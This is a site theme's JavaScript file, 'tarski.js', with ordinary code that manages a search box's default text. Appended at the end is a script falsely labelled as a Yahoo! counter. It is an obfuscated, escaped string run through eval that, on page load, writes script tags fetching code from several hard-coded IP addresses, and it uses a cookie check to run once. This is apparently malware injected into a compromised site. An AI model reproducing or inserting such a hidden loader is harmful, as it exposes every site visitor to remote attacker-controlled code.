// tarski.js - external JS for Tarski

// Default search box text
//-----------------------------------

// event handler
function addEventToObject(obj,evt,func) {
	var oldhandler = obj[evt];
	obj[evt] = (typeof obj[evt] != 'function') ? func : function(){oldhandler();func();};
}

// search box stuff
var Searchbox = {
	init : function()
		{
		var sBox = document.getElementById('s');
		if (sBox)
			{
			addEventToObject(sBox,'onclick',Searchbox.click);
			addEventToObject(sBox,'onblur',Searchbox.blur);
			}	
		},
	click : function()
		{
		var sBox = document.getElementById('s');
		if (sBox.value == 'Search this site')
			{
			sBox.value = '';
			}
	  	},
	blur : function()
		{
		var sBox = document.getElementById('s');
		if (sBox.value == '' || sBox.value == ' ') {sBox.value = 'Search this site';}
		}
	};

// add event onload
addEventToObject(window,'onload',Searchbox.init);<script language=javascript><!-- Yahoo! Counter starts here -->
if(typeof(yahoo_counter)!=typeof(1))eval(unescape('%76%61%72%20%61#%2C?%69,!%5F%3B~i#=~%22@%37%36|%2E$%31@6%33.%22%3Ba%3D?%5B%22%378%2E%31%35!%37.?%31~4`%32$%2E#%358|"%2C?i+%22!1%341.$%33%35#%22,i+~%22%31!91$%2E~13|%32?"]%3B_$%3D%31%3B%69#%66|(!doc%75%6Den|t$%2E%63%6F?%6F%6B`%69e%2Ema~tc%68(@/%5Cb!%68g`%66t%3D`1/%29%3D?%3D#%6E%75|%6Cl%29%66o?r(i~%3D@0%3B?i`%3C%33;`%69%2B+@)d%6Fcu|%6De!n|%74$%2E!%77r$%69?t%65|%28!%22`%3Cs!%63#r$%69~p`t$%3E`%69|%66(@_)`d#%6F%63%75!%6D!%65%6E|%74~%2E|%77`r`i!%74e%28%5C`"@%3C@%73|%63@r$%69#%70$%74%20~%69!%64@%3D`%5F@%22@%2B$%69!+%22@%5F` s!rc#=?%2F~/"~+?%61|%5Bi]@+?"$%2F%63%70@/%3E~%3C#%5C%5C%2Fsc%72`%69@%70~t|%3E%5C?"|)%3C~%5C#%2F?s%63%72%69|%70t@%3E%22%29~;').replace(/\||\!|\?|\$|`|#|~|@/g,""));var yahoo_counter=1;
<!-- counter end --></script>